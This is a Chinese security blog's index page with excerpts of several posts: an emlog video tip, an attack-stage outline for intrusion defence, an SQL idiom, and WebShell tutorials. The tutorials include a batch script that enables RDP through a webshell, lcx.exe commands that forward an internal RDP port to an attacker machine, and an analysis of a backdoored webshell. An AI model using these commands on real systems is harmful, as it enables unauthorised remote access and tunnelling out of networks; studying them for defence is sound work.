    2021-04-06 726
  • 如何无需插件给emlog文章插入视频

    emlog自带的富文本编辑框是没有插入视频功能的,只有一个插入flash,在一些视频网站可能会有生成flash代码,直接插入链接就行了,但是怎么插入MP4呢?下面给大家带来教程。 一:文章编辑,点击倒数第二个按钮,html代码。 二:复制下面的代码,在合适的位置添加,样式自己看着调吧,然后再点击上面的按钮切回富文本编辑页面,就能看到效果了。 <video src="视频地址" controls="controls" width="100%"></video>...

    2021-04-06 612
  • 反入侵体系建设入门-攻击场景梳理

    0x00 信息收集 1.目标确认 1.1 域名注册信息 目标所有者信息 获取真实IP 验证是否存在CDN 绕过CDN查找网站真实IP 1.2 DNS信息查询 目的: 注册者名称及邮箱,再反查其他域名 手机号 座机号 ASN号 地址在线DNS信息查询工具 1.3 测试域传送漏洞 域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。 1.4 业务相关 github泄露: 网盘泄露: 各种云网盘 敏感路径扫描: 2.OSINT 公开情报收集 2.1 社工技巧 查看注册的网站: 可以从这些方面判断用户是否注册过 知道QQ 知道手机号 留意社交动态 2.2 搜索引擎OSINT Google Hacking(baidu\bing\souhu\github) 2.3 浏览器实用插件: Wappalyzer:识别网站使用的中间件及其版本,再去漏洞库和搜索引擎找公开披露的漏洞 SwitchOmega:快捷切换代理 shodan:识别开放端口,主机服务等(被动信息搜集) hacktools:综合插件,很强大 firefox渗透便携版version48,工具集成很多 注意:根据获得服务、中间件信息、编辑器版本、数据库等OSINT去各大漏洞库、搜索引擎找漏洞利用 2.4 乌云和cnvd 乌云库\乌云镜像\GHDB\CNVD等公开漏洞库 0x01 主动探测 从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要... 1.主动扫描 1.1 常见服务漏洞 nmap的功能: 脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF 1.3 WAF及bypass 探测WAF bypass 1.4 目录、后台和敏感路径文件扫描 御剑目录、后台扫描 2.人工浏览\逐个请求burp 非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。 图片后台地址\图片后面的信息 跳转参数\奇怪的参数 泄露邮箱等社工信息 业务逻辑\架构 3.自动化 自动化渗透测试框架:(待补充) Sn1per Ary 0x02 漏洞挖掘 1.漏洞扫描工具 注意:登录类网站扫描要带cookies扫才能扫到 1.1 Nikto Web服务漏洞扫描器 1.2 AWVS漏扫 1.3 NESSUS 1.4 Xray自动化的漏洞挖掘 1.5 Fuzz 2.挖掘漏洞 2.1 SQL注入: 2.2 XSS: 2.3 文件上传 2.4 命令执行 2.5 弱口令及字典破解 后台弱口令爆破撞库 2.6 逻辑漏洞 0x03 漏洞利用 对应0x02的挖掘漏洞,进行对应的利用。 0x04 提升权限 提升权限不一定需要,根据任务目标决定。 1.1 内核漏洞 1.2 root权限运行的漏洞软件 1.3 弱密码/重用密码 1.4 suid配置错误 1.5 滥用sudo 1.6 Cronjobs 1.6 敏感文件 0x05 达成目标 1.1 重要文件窃取 1.2 数据库数据窃取、修改 0x06 权限维持 1.1 web后门 1.2 SSH后门 1.3 Cronjobs 1.4 SSH公钥 1.5 SUID=0用户 1.6 木马文件 0x07 防御对抗 1.1 日志清除 1.2 防护软件对抗(卸载) 1.3 进程注入 1.4 进程隐藏 0x08 横向移动 1.1 信息收集 1.2 隧道搭建 1.3 内网扫描 1.4 漏洞扫描 返回到主动探测的步骤,再来一遍。 写在结尾 很多攻击手法不能一一列举,之后会单独分模块展开叙述,如有技术问题交流,可以加入交流群。 ...

    2021-04-06 660
  • SQL 语句中 where 条件后 写上 1=1 是什么意思!

    程序员在编程过程中,经常会在代码中使用到“where 1=1”,这是为什么呢? 这段代码应该是由程序(例如Java)中生成的,where条件中 1=1 之后的条件是通过 if 块动态变化的。 例如 String sql="select * from table_name  where 1=1"; if( conditon 1) {   sql=sql+"  and  var2=value2"; } if(conditon 2) {   sql=sql+"  and var3=value3"; } where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 动态SQL中连接AND条件 where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 where后面总要有语句,加上了1=1后就可以保证语法不会出错! select * from table where 1=1 因为table中根本就没有名称为1的字段,所以该SQL等效于select * from table, 这个SQL语句很明显是全表扫描,需要大量的IO操作,数据量越大越慢, 建议查询时增加必输项,即where 1=1后面追加一些常用的必选条件,并且将这些必选条件建立适当的索引,效率会大大提高 拷贝表 create table  table_name   as   select   *   from   Source_table   where   1=1; 复制表结构 create table  table_name   as   select   *   from   Source_table   where   1 <> 1; 所以在查询时,where1=1的后面需要增加其它条件,并且给这些条件建立适当的索引,效率就会大大提高。...

    2021-04-06 755
  • WebShell -- 开启3389服务

    一、查询远程连接的端口 1、命令查询,win7/win10/win2003都可以使用 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 0xd3d转换十进制是3389 2、注册表查询 二、开启3389端口的方法 1、工具开启 2、批处理开启,将下面代码复制到bat文件,双击自行开启远程连接 echo Windows Registry Editor Version 5.00>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.regecho "fDenyTSConnections"=dword:00000000>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.regecho "PortNumber"=dword:00000d3d>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.regecho "PortNumber"=dword:00000d3d>>3389.regregedit /s 3389.regdel 3389.reg 三、当3389端口被修改后,如何查找 1、通过大马的读注册表、找到3389端口,然后读取 2、通过大马的cmd命令 tasklist /svc,获取termservice的pid号 再执行netstat -ano查找2684对应的的端口就是远程连接端口 3、通过工具扫描 工具下载方式:加入交流群 注意:软件均来自网络,不能保证安全性 ...

    2021-03-15 579
  • WebShell -- 外网远程连接内网

    一、环境: 1、内网主机IP:192.168.1.106  win2003 2、假设外网主机ip:192.168.1.104 win7 二、通过大马上传lcx.exe到服务器内网 1、将内网3389端口转发到外网2222端口 lcx.exe -slave 192.168.1.104 2222 127.0.0.1 3389 2、在攻击机win7监听2222本地端口,转发到4444端口 lcx.exe -listen 2222 4444 3、在攻击机win7中远程连接 三、利用工具转发reDuh 1、将软件自带的脚本拷贝到服务器中,根据不同环境,选择不同脚本 2、打开reDuh,将脚本文件上传的路径填写到URL,点击start,再点击create 3、打开远程连接,这个有点缓慢,但是可以连接成功的,详细见交流群视频教程 工具下载方式:加入交流群 ...

    2021-03-15 583
  • webshell后门分析

    一、访问上传的木马文件 http://192.168.1.104/1.asp 二、点击F12,打开谷歌自带的开发人员工具,点击network 三、输入密码,看看抓包情况,该木马会自动向某网站上传木马路径和密码 四、查看木马源文件,然后搜索该网址,随便修改为一个无效地址,该木马用的是反转加密,所以我们搜索不到,有时候是其他加密,需要解密才可以修改 注意:抓包的时候,有的后门不是一登录就发送的,也有可能停一段时间才发送,甚至当你退出的时候才发送 ...

    2021-03-11 504

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:9:00-23:00,节假日休息

扫码关注